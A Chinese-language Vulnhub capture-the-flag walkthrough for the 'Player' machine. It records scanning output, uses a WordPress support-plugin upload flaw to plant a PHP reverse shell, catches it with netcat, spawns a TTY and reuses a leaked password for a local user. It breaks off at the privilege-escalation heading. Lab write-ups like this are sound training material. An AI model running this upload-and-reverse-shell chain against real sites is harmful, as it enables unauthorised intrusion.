Player 1识别目标主机IP地址
kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24Currently scanning: 192.168.56.0/24 | Screen View: Unique Hosts 3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor 192.168.56.100 08:00:27:bf:bb:24 1 60 PCS Systemtechnik GmbH 192.168.56.224 08:00:27:78:95:6d 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具识别目标主机IP地址为192.168.56.224
NMAP扫描
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ sudo nmap -sS -sV -sC -p- 192.168.56.224 -oN nmap_full_scanStarting Nmap 7.92 ( https://nmap.org ) at 2023-03-20 23:51 EDTNmap scan report for bogon (192.168.56.224)Host is up (0.00017s latency).Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.38 ((Debian))|_http-title: Apache2 Debian Default Page: It works|_http-server-header: Apache/2.4.38 (Debian)3306/tcp open mysql MySQL 5.5.5-10.3.18-MariaDB-0+deb10u1| mysql-info: | Protocol: 10| Version: 5.5.5-10.3.18-MariaDB-0+deb10u1| Thread ID: 38| Capabilities flags: 63486| Some Capabilities: IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, IgnoreSigpipes, Speaks41ProtocolOld, SupportsCompression, SupportsTransactions, ODBCClient, SupportsLoadDataLocal, Support41Auth, Speaks41ProtocolNew, LongColumnFlag, ConnectWithDatabase, InteractiveClient, FoundRows, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins| Status: Autocommit| Salt: _^;H;/v)eBYxrR%^.g=8|_ Auth Plugin Name: mysql_native_passwordMAC Address: 08:00:27:78:95:6D (Oracle VirtualBox virtual NIC)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.98 seconds
NMAP扫描结果表明目标主机有2个开放端口:80(http)、3306(mysql)
获得Shell
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ mysql -uroot -p -h 192.168.56.224Enter password: ERROR 1698 (28000): Access denied for user 'root'@'192.168.56.146' ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ mysql -uroot -p -h 192.168.56.224Enter password: ERROR 1698 (28000): Access denied for user 'root'@'192.168.56.146'
mysql不存在弱口令。
└─$ curl http://192.168.56.224/robots.txt 404 Not Found Not Found
The requested URL was not found on this server.
Apache/2.4.38 (Debian) Server at 192.168.56.224 Port 80
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ nikto -h http://192.168.56.224 - Nikto v2.1.6---------------------------------------------------------------------------+ Target IP: 192.168.56.224+ Target Hostname: 192.168.56.224+ Target Port: 80+ Start Time: 2023-03-20 23:53:58 (GMT-4)---------------------------------------------------------------------------+ Server: Apache/2.4.38 (Debian)+ The anti-clickjacking X-Frame-Options header is not present.+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type+ No CGI Directories found (use '-C all' to force check all possible dirs)+ Server may leak inodes via ETags, header found with file /, inode: 2962, size: 59d6a8bf07689, mtime: gzip+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST + OSVDB-3233: /icons/README: Apache default file found.+ 7915 requests: 0 error(s) and 6 item(s) reported on remote host+ End Time: 2023-03-20 23:54:58 (GMT-4) (60 seconds)---------------------------------------------------------------------------+ 1 host(s) tested ********************************************************************* Portions of the server's headers (Apache/2.4.38) are not in the Nikto 2.1.6 database or are newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo@cirt.net) (y/n)?
目录扫描没有什么收获,但是仔细查看页面:
y default, Debian does not allow access through the web browser to any file apart of those located in /var/www, public_html directories (when enabled) and /usr/share (for web applications). If your site is using a web document root located elsewhere (such as in /srv) you may need to whitelist your document root directory in /etc/apache2/apache2.conf.The default Debian document root is /var/www/html/g@web. You can make your own virtual hosts under /var/www/mini@web. This is different to previous releases which provides better security out of the box.
有目录:g@web,访问该目录,可知为wordpress站点。
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ wpscan --url http://192.168.56.224/g@web -e u,p _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart_______________________________________________________________[i] It seems like you have not updated the database for some time.[?] Do you want to update now? [Y]es [N]o, default: [N][+] URL: http://192.168.56.224/g@web/ [192.168.56.224][+] Started: Tue Mar 21 00:17:00 2023Interesting Finding(s):[+] Headers | Interesting Entry: Server: Apache/2.4.38 (Debian) | Found By: Headers (Passive Detection) | Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.56.224/g@web/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.56.224/g@web/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] Registration is enabled: http://192.168.56.224/g@web/wp-login.php?action=register | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] Upload directory has listing enabled: http://192.168.56.224/g@web/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.56.224/g@web/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.3.2 identified (Insecure, released on 2019-12-18). | Found By: Rss Generator (Passive Detection) | - http://192.168.56.224/g@web/index.php/feed/, https://wordpress.org/?v=5.3.2 | - http://192.168.56.224/g@web/index.php/comments/feed/, https://wordpress.org/?v=5.3.2[+] WordPress theme in use: twentyseventeen | Location: http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/ | Last Updated: 2022-11-02T00:00:00.000Z | Readme: http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/readme.txt | [!] The version is out of date, the latest version is 3.1 | Style URL: http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/style.css?ver=20190507 | Style Name: Twenty Seventeen | Style URI: https://wordpress.org/themes/twentyseventeen/ | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 2.3 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.56.224/g@web/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'[+] Enumerating Most Popular Plugins (via Passive Methods)[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] wp-support-plus-responsive-ticket-system | Location: http://192.168.56.224/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/ | Last Updated: 2019-09-03T07:57:00.000Z | [!] The version is out of date, the latest version is 9.1.2 | | Found By: Urls In Homepage (Passive Detection) | | Version: 7.1.3 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://192.168.56.224/g@web/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt[+] Enumerating Users (via Passive and Aggressive Methods) Brute Forcing Author IDs - Time: 00:00:00 (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] wp-local | Found By: Author Posts - Author Pattern (Passive Detection) | Confirmed By: | Rss Generator (Passive Detection) | Wp Json Api (Aggressive Detection) | - http://192.168.56.224/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Tue Mar 21 00:17:10 2023[+] Requests Done: 56[+] Cached Requests: 7[+] Data Sent: 14.631 KB[+] Data Received: 565.397 KB[+] Memory used: 247.859 MB[+] Elapsed time: 00:00:09
这里wpscan的结果中的链接含有密码为 : hackNos@9012!!
http://192.168.56.224/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1
但是登录失败,但是前面扫描出一个有漏洞的插件:
https://www.exploit-db.com/exploits/41006
form method="post" enctype="multipart/form-data" action="https://example.com/wp-admin/admin-ajax.php"> Choose a file ending with .phtml: form>
在本地创建文件,并修改,修改url
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ cat test.html Choose a file ending with .phtml:
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ cp ~/Desktop/Toolsets/PHPShell/php-reverse-shell.php shell.php ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ vim shell.php ┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ mv shell.php shell.phtml
然后访问:http://example.com/wp-content/uploads/wpsp/1510248571_filename.phtml
进入目录即可发现我们上传的shell.phtml
http://192.168.56.224/g@web/wp-content/uploads/wpsp/
┌──(kali㉿kali)-[~/Desktop/Vulnhub/Player]└─$ sudo nc -nlvp 5555 [sudo] password for kali: listening on [any] 5555 ...connect to [192.168.56.146] from (UNKNOWN) [192.168.56.224] 33830Linux hacknos 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux 21:38:27 up 48 min, 0 users, load average: 0.01, 0.38, 1.50USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh: 0: can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)$ which python/usr/bin/python$ python -c 'import pty;pty.spawn("/bin/bash")'
前面到的密码hackNos@9012!!,经过尝试为security用户的密码
提权
STRIVE FOR PROGRESS,NOT FOR PERFECTION